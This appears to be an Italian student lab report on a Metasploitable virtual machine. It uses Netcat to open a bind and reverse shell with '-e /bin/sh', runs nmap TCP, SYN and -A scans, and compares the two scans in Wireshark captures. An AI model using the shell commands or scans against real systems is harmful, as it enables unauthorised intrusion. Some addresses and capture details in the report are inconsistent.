

Traccia Netcat:

Utilizzando questa riga di comando in Netcat:

```
<<nc -l -p 1234>>
```

Questo apre un listener per le connessioni in entrata -l apre un listener e -p assegna un numero di porta.

```
<<nc 192.168.3.245 1234 -e /bin/sh>>
```

Questo si conatterà all'indirizzo IP 192.168.3.245 sulla porta 1234, -e /bin/sh esegue una shell che verrà reindirizzata al nostro sistema. Questo ci consente di eseguire comandi dal nostro terminale.

```
<<nc -l -p 1234 -c whoami>>
```

Questa riga di comando ci darà il nome utente corrente.

```
<<nc -l -p 1234 -c "uname -a">>
```

Ci darà le informazioni di sistema.

```
msfadmin@metasploitable:~$ nc -l -p 1234
ciao
ciao

msfadmin@metasploitable:~$ nc -l -p 1234 -e /bin/sh

msfadmin@metasploitable:~$ nc -l -p 1234 -c whoami
msfadmin@metasploitable:~$ nc -l -p 1234 -c "uname -a"

C:\home\kali> nc 192.168.50.101 1234
ciao
ciao

C:\home\kali> nc 192.168.50.101 1234
ls
192.168.50.101
vulnerable
ls -a
.
..
192.168.50.101
.bash_history
.distcc
.mysql_history
.profile
.rhosts
.ssh
.sudo_as_admin_successful
vulnerable
mkdir Epicode
ls
192.168.50.101
Epicode
vulnerable
rmdir Epicode
ls
192.168.50.101
vulnerable

C:\home\kali> nc 192.168.50.101 1234
msfadmin

C:\home\kali> nc 192.168.50.101 1234
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Tutti i comandi che abbiamo mostrato non sono di alcun danno per il bersaglio, ma gli aggressori possono passare a fare altri comandi dannosi per ottenere l'accesso e distruggere la reputazione del bersaglio. È quindi molto importante e necessario che tutte le applicazioni web dispongano di un'adeguata convalida dell'input in modo tale che l'iniezione di comandi non sia praticata e strumenti così versatili come Netcat non vengano utilizzati per distruggere le applicazioni web, ma piuttosto per consolidare il networking.

Traccia Nmap:

Sulle base delle nozioni viste, eseguire diversi tipi di scan sulla macchine metasploitable con nmap, come di seguito:

- Scansione TCP sulle porte well-known
- Scansione SYN sulle porte well-known
- Scansione con switch «-A» sulle porte well-known

```
zsh: corrupt history file /home/kali/.zsh_history
C:\home\kali> nmap -sT 192.168.50.101 -p 0-1023
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 12:55 EDT
Nmap scan report for 192.168.50.101
Host is up (0.0046s latency).
Not shown: 1012 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell

Nmap done: 1 IP address (1 host up) scanned in 13.29 seconds
```

La scansione -sT esegue una scansione TCP completa (utilizzando il metodo three-way handshake) dove tenta di stabilire una connessione su ciascuna porta specificata. È più lenta e più facilmente rilevabile rispetto ad altri tipi di scansione, ma fornisce risultati accurati sulle porte aperte.

Porte well-known: Le porte well-known vanno dalla **porta 0 alla porta 1023** e sono generalmente assegnate a servizi standard come HTTP (80), HTTPS (443), FTP (21), ecc.

```
C:\home\kali> sudo nmap -sS 192.168.50.101 -p 0-1023
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 12:56 EDT
Nmap scan report for 192.168.50.101
Host is up (0.0083s latency).
Not shown: 1012 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
MAC Address: 08:00:27:EF:90:CD (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
```

La scansione -sS (SYN) è nota anche come "scansione half-open" perché non completa il processo di three-way handshake come la scansione TCP, ma appurato che la porta è aperta chiude la comunicazione, evitando overload dato dalla creazione del canale. Questo tipo di scansione è più veloce e meno invasivo rispetto alla scansione TCP ed è comunemente utilizzato per l'audit di sicurezza.

```

C:\home\kali> nmap -A 192.168.50.101 -p 0-1023

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 12:57 EDT
Nmap scan report for 192.168.50.101
Host is up (0.0078s latency).
Not shown: 1012 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.50.100
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo:
|_program version    port/proto  service
|_100000 2                111/tcp    rpcbind
|_100000 2                111/udp    rpcbind
|_100003 2,3,4           2049/tcp   nfs
|_100003 2,3,4           2049/udp   nfs
|_100005 1,2,3           38708/tcp  mountd
|_100005 1,2,3           47088/udp  mountd
|_100021 1,3,4           36156/udp  nlockmgr
|_100021 1,3,4           44186/tcp  nlockmgr
|_100024 1                38479/tcp  status
|_100024 1                43582/udp  status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-security-mode:
|_account_used: <blank>
|_authentication_level: user
|_challenge_response: supported
|_message_signing: disabled (dangerous, but default)
|_smb-os-discovery:
|_OS: Unix (Samba 3.0.20-Debian)
|_Computer name: metasploitable
|_NetBIOS computer name:
|_Domain name: localdomain
|_FQDN: metasploitable.localdomain
|_System time: 2024-09-04T12:57:59-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h59m59s, deviation: 2h49m43s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit
/ .
Nmap done: 1 IP address (1 host up) scanned in 88.44 seconds

```

La scansione con switch -A ci permette di recuperare molte informazioni utili sull'ip target, come:

- **Porte e servizi:** Quali porte sono aperte e quali servizi sono in esecuzione su di esse.
 - **Versioni dei servizi:** Versioni specifiche dei servizi rilevati.
 - **Sistema operativo:** Stima del sistema operativo in esecuzione sulla macchina target.
 - **Script results:** Output dagli script predefiniti di nmap che possono rilevare vulnerabilità note o configurazioni errate.
 - **Traceroute:** Percorso di rete tra la macchina di scansione e il target.
- È di certo uno degli scan più invasivi, ovvero che invia più richieste, ma ci permette di ottenere delle informazioni molto preziose.

Facoltativo:

Evidenziare la differenza tra la scansione completa TCP e la scansione SYN intercettando le richieste inviate dalla macchine sorgente con Wireshark.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	PCSSystemtec_1e:36...	Broadcast	ARP	42	Who has 192.168.50.101? Tell 192.168.50.100
2	0.000425	PCSSystemtec_ef:90...	PCSSystemtec_1e:36...	ARP	60	192.168.50.101 is at 08:00:27:ef:90:cd
3	13.14028920	192.168.50.100	192.168.50.101	TCP	58	56428 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
4	13.140472390	192.168.50.100	192.168.50.101	TCP	58	56428 → 587 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
5	13.140634957	192.168.50.100	192.168.50.101	TCP	58	56428 → 111 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
6	13.140797203	192.168.50.100	192.168.50.101	TCP	58	56428 → 143 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
7	13.140907560	192.168.50.100	192.168.50.101	TCP	58	56428 → 256 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
8	13.141154210	192.168.50.100	192.168.50.101	TCP	58	56428 → 113 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
9	13.141363181	192.168.50.100	192.168.50.101	TCP	58	56428 → 139 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
10	13.141563351	192.168.50.100	192.168.50.101	TCP	58	56428 → 21 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
11	13.141758221	192.168.50.100	192.168.50.101	TCP	58	56428 → 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
12	13.141957880	192.168.50.100	192.168.50.101	TCP	58	56428 → 23 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
13	13.142496031	192.168.50.101	192.168.50.100	TCP	60	22 → 56428 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
14	13.142496292	192.168.50.101	192.168.50.100	TCP	60	587 → 56428 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
15	13.142496371	192.168.50.101	192.168.50.100	TCP	60	111 → 56428 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
16	13.142615558	192.168.50.100	192.168.50.101	TCP	54	56428 → 22 [RST] Seq=1 Win=0 Len=0
17	13.142658889	192.168.50.100	192.168.50.101	TCP	54	56428 → 111 [RST] Seq=1 Win=0 Len=0
18	13.142690795	192.168.50.101	192.168.50.100	TCP	60	143 → 56428 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
19	13.142690845	192.168.50.101	192.168.50.100	TCP	60	256 → 56428 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20	13.142690795	192.168.50.101	192.168.50.100	TCP	60	113 → 56428 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
21	13.142690836	192.168.50.101	192.168.50.100	TCP	60	139 → 56428 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
22	13.142690836	192.168.50.101	192.168.50.100	TCP	60	21 → 56428 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
23	13.142690836	192.168.50.101	192.168.50.100	TCP	60	587 → 56428 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
24	13.142691664	192.168.50.100	192.168.50.101	TCP	54	56428 → 139 [RST] Seq=1 Win=0 Len=0
25	13.142692762	192.168.50.100	192.168.50.101	TCP	54	56428 → 21 [RST] Seq=1 Win=0 Len=0
26	13.142693378	192.168.50.100	192.168.50.101	TCP	54	56428 → 80 [RST] Seq=1 Win=0 Len=0
27	13.142746097	192.168.50.101	192.168.50.100	TCP	60	23 → 56428 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
28	13.142746317	192.168.50.100	192.168.50.101	TCP	54	56428 → 23 [RST] Seq=1 Win=0 Len=0
29	13.142746353	192.168.50.100	192.168.50.101	TCP	54	56428 → 111 [RST] Seq=1 Win=0 Len=0

Frame 23: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface eth0
Ethernet II, Src: PCSSystemtec_ef:90:cd (08:00:27:ef:90:cd), Dst: PCSSystemtec_1e:36:4a (08:00:27:1e:36:4a)
Internet Protocol Version 4, Src: 192.168.50.101, Dst: 192.168.50.100
Transmission Control Protocol, Src Port: 80, Dst Port: 56428, Seq: 0, Ack: 1, Len: 0
Source Port: 80
Destination Port: 56428
[Stream index: 0]
[Conversation completeness: Incomplete (35)]
[TCP Segment Len: 0]
Sequence Number: 0 (relative sequence number)
Sequence Number (raw): 2159487685
[Next Sequence Number: 1 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)
Acknowledgment number (raw): 2156172157
RST
[Header length: 24 bytes (6)]

Le richieste inviate da nmap con lo switch -sS sono richieste dove il TCP handshake non viene concluso, ma viene inviato solamente il pacchetto SYN. Laddove la macchina target risponde con un [RST,ACK] ci conferma che la porta è chiusa, e non ci sono servizi attivi. Per le porte aperte invece, la macchina target ci risponderà con un pacchetto [SYN, ACK]

Time	Source	Destination	Protocol	Length	Info
5	0.012149290	192.168.50.101	TCP	74	80 → 52226 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
6	0.012259967	192.168.50.100	TCP	66	52226 → 80 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=117552228 Tseq=117552228
7	0.007996080	192.168.50.100	TCP	66	52226 → 80 [RST, ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=117552228 Tseq=117552228
8	0.012506107	192.168.50.101	TCP	60	443 → 50338 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
9	0.010503335	PCSSystemtec_ef:90...	ARP	60	Who has 192.168.50.100? Tell 192.168.50.101
10	0.010606324	PCSSystemtec_1e:36...	ARP	42	192.168.50.100 is at 08:00:27:1e:36:4a
11	13.014622245	192.168.50.100	TCP	74	35286 → 199 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
12	13.014893724	192.168.50.100	TCP	74	37410 → 443 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
13	13.015109384	192.168.50.100	TCP	74	44600 → 139 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
14	13.015323252	192.168.50.100	TCP	74	56482 → 507 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
15	13.015537280	192.168.50.100	TCP	74	43328 → 21 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
16	13.015749375	192.168.50.100	TCP	74	56326 → 23 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
17	13.016005692	192.168.50.100	TCP	74	47564 → 80 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
18	13.016258835	192.168.50.100	TCP	74	59784 → 25 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
19	13.016541460	192.168.50.100	TCP	74	43710 → 143 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
20	13.016794831	192.168.50.100	TCP	74	35482 → 111 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
21	13.019602032	192.168.50.101	TCP	60	199 → 35286 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
22	13.019662243	192.168.50.101	TCP	60	443 → 37410 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
23	13.019662313	192.168.50.101	TCP	60	139 → 44600 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
24	13.019662373	192.168.50.101	TCP	60	587 → 50482 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
25	13.019662423	192.168.50.101	TCP	74	21 → 43328 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
26	13.019662473	192.168.50.101	TCP	74	23 → 56326 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
27	13.019662523	192.168.50.101	TCP	74	80 → 47564 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
28	13.019662574	192.168.50.101	TCP	74	25 → 59784 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=117552228 Tseq=117552228
29	13.019729187	192.168.50.100	TCP	66	43328 → 21 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
30	13.017487997	192.168.50.100	TCP	66	43328 → 21 [RST, ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
31	13.017487997	192.168.50.100	TCP	66	56326 → 23 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
32	13.017487997	192.168.50.100	TCP	66	47564 → 80 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
33	13.017487997	192.168.50.100	TCP	66	59784 → 25 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
34	13.017487997	192.168.50.100	TCP	66	56326 → 23 [RST, ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
35	13.017487997	192.168.50.100	TCP	66	47564 → 80 [RST, ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228
36	13.020044525	192.168.50.101	TCP	60	143 → 43710 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37	13.020044736	192.168.50.101	TCP	74	111 → 35482 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=1175525228 Tseq=1175525228
38	13.017487997	192.168.50.101	TCP	66	35482 → 111 [ACK] Seq=1 Ack=1 Win=32128 Len=0 TSval=1175525228 Tseq=1175525228

Frame 30: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface eth0, id 0
Ethernet II, Src: PCSSystemtec_1e:36:4a (08:00:27:1e:36:4a), Dst: PCSSystemtec_ef:90:cd (08:00:27:ef:90:cd)
Internet Protocol Version 4, Src: 192.168.50.101, Dst: 192.168.50.101
Transmission Control Protocol, Src Port: 43328, Dst Port: 21, Seq: 1, Ack: 1, Len: 0
Source Port: 43328
Destination Port: 21
[Stream index: 6]
[Conversation completeness: Complete, NO_DATA (39)]
[TCP Segment Len: 0]
Sequence Number: 1 (relative sequence number)

La cattura con Wireshark evidenzia che le richieste inviate da nmap con lo switch -sT sono richieste dove vengono inviati anche i pacchetti successivi al pacchetto SYN tipici del 3 way handshake. Così come per la scansione TCP SYN, per le porte chiuse la macchina target ci invierà dei pacchetti [RST, ACK]